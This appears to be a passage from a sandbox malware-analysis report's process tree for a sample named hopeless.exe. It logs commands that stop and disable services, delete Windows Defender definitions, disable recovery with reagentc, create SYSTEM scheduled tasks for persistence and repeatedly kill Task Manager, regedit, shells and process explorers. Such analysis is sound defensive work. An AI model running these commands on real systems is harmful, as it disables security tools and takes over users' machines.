- Suspicious use of WriteProcessMemory
- System policy modification
PID:4336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop W >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\sc.exe
    sc stop W
    3⤵
    - Launches sc.exe
    PID:6908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config W start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\sc.exe
    sc config W start=disabled
    3⤵
    - Launches sc.exe
    PID:3196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop w >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\system32\sc.exe
    sc stop w
    3⤵
    - Launches sc.exe
    PID:3744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config w start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6112
- - C:\Windows\system32\sc.exe
    sc config w start=disabled
    3⤵
    - Launches sc.exe
    PID:4268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:4708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop M >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6380
- - C:\Windows\system32\sc.exe
    sc stop M
    3⤵
    - Launches sc.exe
    PID:6688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config M start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\system32\sc.exe
    sc config M start=disabled
    3⤵
    - Launches sc.exe
    PID:6964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:5884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:1128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop W >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\system32\sc.exe
    sc stop W
    3⤵
    - Launches sc.exe
    PID:6108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config W start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\system32\sc.exe
    sc config W start=disabled
    3⤵
    - Launches sc.exe
    PID:3152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop w >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\sc.exe
    sc stop w
    3⤵
    - Launches sc.exe
    PID:4404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config w start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\system32\sc.exe
    sc config w start=disabled
    3⤵
    - Launches sc.exe
    PID:1900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop W >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6760
- - C:\Windows\system32\sc.exe
    sc stop W
    3⤵
    - Launches sc.exe
    PID:2008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config W start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\system32\sc.exe
    sc config W start=disabled
    3⤵
    - Launches sc.exe
    PID:6148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop w >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\sc.exe
    sc stop w
    3⤵
    - Launches sc.exe
    PID:2668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config w start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\system32\sc.exe
    sc config w start=disabled
    3⤵
    - Launches sc.exe
    PID:364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop B >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\sc.exe
    sc stop B
    3⤵
    - Launches sc.exe
    PID:6016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config B start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\system32\sc.exe
    sc config B start=disabled
    3⤵
    - Launches sc.exe
    PID:2756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop T >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\sc.exe
    sc stop T
    3⤵
    - Launches sc.exe
    PID:6304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config T start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6732
- - C:\Windows\system32\sc.exe
    sc config T start=disabled
    3⤵
    - Launches sc.exe
    PID:4512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop T >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Windows\system32\sc.exe
    sc stop T
    3⤵
    - Launches sc.exe
    PID:5460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config T start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6636
- - C:\Windows\system32\sc.exe
    sc config T start=disabled
    3⤵
    - Launches sc.exe
    PID:1564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:3560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop l >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6084
- - C:\Windows\system32\sc.exe
    sc stop l
    3⤵
    - Launches sc.exe
    PID:4728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config l start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5840
- - C:\Windows\system32\sc.exe
    sc config l start=disabled
    3⤵
    - Launches sc.exe
    PID:2436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5688
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:2072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop s >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\sc.exe
    sc stop s
    3⤵
    - Launches sc.exe
    PID:3812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config s start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\sc.exe
    sc config s start=disabled
    3⤵
    - Launches sc.exe
    PID:6188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender\Definition Updates" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2676
- - C:\Windows\system32\rundll32.exe
    rundll32.exe taskkill /f /im explorer.exe
    3⤵
    PID:2968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:6860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn "MUH" /tr "C\cmd.exe /c start /min C\hopeless.exe" /sc onstart /ru SYSTEM /f /rl highest 2>nul
  2⤵
  PID:4432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c reagentc /setreimage /disable 2>nul
  2⤵
  PID:4480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn "SMM" /tr "C\cmd.exe /c start /min C\hopeless.exe" /sc onlogon /ru SYSTEM /f /rl highest 2>nul
  2⤵
  PID:1316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn "HOPELESS_SHUTDOWN_MONITOR" /tr "C\cmd.exe /c start /min C\hopeless.exe" /sc onstart /ru SYSTEM /f /rl highest 2>nul
  2⤵
  PID:5996
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2804
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5056
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5336
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3804
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6020
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6080
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4132
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2256
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4268
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2336
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1192
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4656
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4924
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:7028
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6688
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3288
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:7144
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1972
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3340
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6800
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5704
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5884
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4496
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2992
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5076
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3312
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3212
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3956
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:7128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:7056
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6992
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1336
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6820
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6768
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2572
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5184
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1284
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5992
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6148
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5284
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3704
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2620
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:504
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3788
